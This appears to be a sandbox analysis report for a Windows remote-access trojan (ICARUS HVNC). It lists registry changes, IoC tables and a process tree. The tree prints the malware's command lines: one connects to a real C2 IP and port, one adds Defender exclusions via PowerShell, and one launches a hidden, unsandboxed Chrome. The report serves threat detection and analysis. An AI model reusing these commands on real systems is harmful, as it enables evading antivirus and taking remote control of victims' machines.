000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff82ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e8070800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff83ae2078e323294282c1e41cb67d5b9c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings	explorer.exe
Key created	\Registry\User\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133670848628309108"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	chrmstp.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2576	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3924	dddd.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2816	powershell.exe
2816	powershell.exe
708	powershell.exe
708	powershell.exe
2296	MSBuilds.exe
2816	powershell.exe
708	powershell.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
2296	MSBuilds.exe
3056	cvtres.exe
3676	SMSHoists.exe
3676	SMSHoists.exe
2296	MSBuilds.exe
3676	SMSHoists.exe
3676	SMSHoists.exe
2296	MSBuilds.exe
3676	SMSHoists.exe
3676	SMSHoists.exe
2296	MSBuilds.exe
2296	MSBuilds.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2576	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	dddd.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeDebugPrivilege	3056	cvtres.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeDebugPrivilege	2296	MSBuilds.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeDebugPrivilege	3676	SMSHoists.exe
Token: SeDebugPrivilege	2004	taskkill.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	2576	explorer.exe
Token: SeCreatePagefilePrivilege	2576	explorer.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe
Token: SeCreatePagefilePrivilege	4724	chrome.exe
Token: SeShutdownPrivilege	4724	chrome.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
4724	chrome.exe
4724	chrome.exe
2576	explorer.exe
5996	chrmstp.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe

Suspicious use of SendNotifyMessage 30 IoCs

pid	Process
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
2576	explorer.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe
4724	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2356	StartMenuExperienceHost.exe
4700	MiniSearchHost.exe
2576	explorer.exe
2576	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3924 wrote to memory of 1312	3924	dddd.exe	82
PID 3924 wrote to memory of 1312	3924	dddd.exe	82
PID 3924 wrote to memory of 1312	3924	dddd.exe	82
PID 1312 wrote to memory of 1932	1312	csc.exe	83
PID 1312 wrote to memory of 1932	1312	csc.exe	83
PID 1312 wrote to memory of 1932	1312	csc.exe	83
PID 3924 wrote to memory of 2576	3924	dddd.exe	85
PID 3924 wrote to memory of 2576	3924	dddd.exe	85
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 3056	3924	dddd.exe	86
PID 3924 wrote to memory of 4504	3924	dddd.exe	88
PID 3924 wrote to memory of 4504	3924	dddd.exe	88
PID 3924 wrote to memory of 4504	3924	dddd.exe	88
PID 3056 wrote to memory of 3148	3056	cvtres.exe	90
PID 3056 wrote to memory of 3148	3056	cvtres.exe	90
PID 3056 wrote to memory of 3148	3056	cvtres.exe	90
PID 3056 wrote to memory of 4164	3056	cvtres.exe	92
PID 3056 wrote to memory of 4164	3056	cvtres.exe	92
PID 3056 wrote to memory of 4164	3056	cvtres.exe	92
PID 3148 wrote to memory of 2816	3148	cmd.exe	102
PID 3148 wrote to memory of 2816	3148	cmd.exe	102
PID 3148 wrote to memory of 2816	3148	cmd.exe	102
PID 4504 wrote to memory of 2296	4504	cmd.exe	96
PID 4504 wrote to memory of 2296	4504	cmd.exe	96
PID 4164 wrote to memory of 708	4164	cmd.exe	98
PID 4164 wrote to memory of 708	4164	cmd.exe	98
PID 4164 wrote to memory of 708	4164	cmd.exe	98
PID 3056 wrote to memory of 5096	3056	cvtres.exe	106
PID 3056 wrote to memory of 5096	3056	cvtres.exe	106
PID 3056 wrote to memory of 5096	3056	cvtres.exe	106
PID 5096 wrote to memory of 1224	5096	csc.exe	107
PID 5096 wrote to memory of 1224	5096	csc.exe	107
PID 5096 wrote to memory of 1224	5096	csc.exe	107
PID 3056 wrote to memory of 3640	3056	cvtres.exe	108
PID 3056 wrote to memory of 3640	3056	cvtres.exe	108
PID 3056 wrote to memory of 3640	3056	cvtres.exe	108
PID 3640 wrote to memory of 3676	3640	cmd.exe	110
PID 3640 wrote to memory of 3676	3640	cmd.exe	110
PID 3056 wrote to memory of 1204	3056	cvtres.exe	111
PID 3056 wrote to memory of 1204	3056	cvtres.exe	111
PID 3056 wrote to memory of 1204	3056	cvtres.exe	111
PID 1204 wrote to memory of 2004	1204	cmd.exe	113
PID 1204 wrote to memory of 2004	1204	cmd.exe	113
PID 1204 wrote to memory of 2004	1204	cmd.exe	113
PID 3056 wrote to memory of 4724	3056	cvtres.exe	116
PID 3056 wrote to memory of 4724	3056	cvtres.exe	116
PID 4724 wrote to memory of 5020	4724	chrome.exe	117
PID 4724 wrote to memory of 5020	4724	chrome.exe	117
PID 4724 wrote to memory of 1148	4724	chrome.exe	118
PID 4724 wrote to memory of 1148	4724	chrome.exe	118
PID 4724 wrote to memory of 224	4724	chrome.exe	119
PID 4724 wrote to memory of 224	4724	chrome.exe	119
PID 4724 wrote to memory of 4912	4724	chrome.exe	120
PID 4724 wrote to memory of 4912	4724	chrome.exe	120
PID 4724 wrote to memory of 4504	4724	chrome.exe	121
PID 4724 wrote to memory of 4504	4724	chrome.exe	121
PID 4724 wrote to memory of 1552	4724	chrome.exe	122
PID 4724 wrote to memory of 1552	4724	chrome.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\dddd.exe
"C:\Users\Admin\AppData\Local\Temp\dddd.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3924
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ec1xz023\ec1xz023.cmdline"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD3D7838FE31D4435B6255E217D36601E.TMP"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1932
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221.21 35374 PUGlcQLxe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:708
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cam11ul3\cam11ul3.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6925.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBC076F12291E40F1A8CF9533D84563F.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe
      C:\Users\Admin\AppData\Local\Temp\SMSHoists.exe
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3676
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c taskkill /F /IM SMSHoists.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM SMSHoists.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" "data:text/html,<center><title>Welcome to HVNC !</title><br><br><img src='https://i.ibb.co/RvwvG2z/icaruwsdr-athens.png'><br><h1><font color='white'>Welcome to HVNC !</font></h1></center>" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-accelerated-layers --disable-accelerated-plugins --disable-audio --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --mute-audio
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffca57acc40,0x7ffca57acc4c,0x7ffca57acc58
      4⤵
      PID:5020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2256,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:2
      4⤵
      PID:1148
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --field-trial-handle=1764,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:3
      4⤵
      PID:224
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --field-trial-handle=1908,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:8
      4⤵
      PID:4912
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2676,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:1
      4⤵
      PID:4504
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3248,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
      4⤵
      PID:1552
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --extension-process --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3304,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=3944 /prefetch:2
      4⤵
      PID:2476
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --extension-process --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3960,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:2
      4⤵
      PID:4332
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --field-trial-handle=3688,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:8
      4⤵
      PID:5288
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --field-trial-handle=4208,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:8
      4⤵
      PID:5436
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --no-appcompat-clear --field-trial-handle=4308,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:8
      4⤵
      PID:5532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4316,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:1
      4⤵
      PID:5540
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\ICARUS" --disable-3d-apis --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4336,i,14183262312441601853,7708291349091711106,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:1
      4⤵
      PID:5548
  - - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
      4⤵
      Drops file in Windows directory
      PID:5808
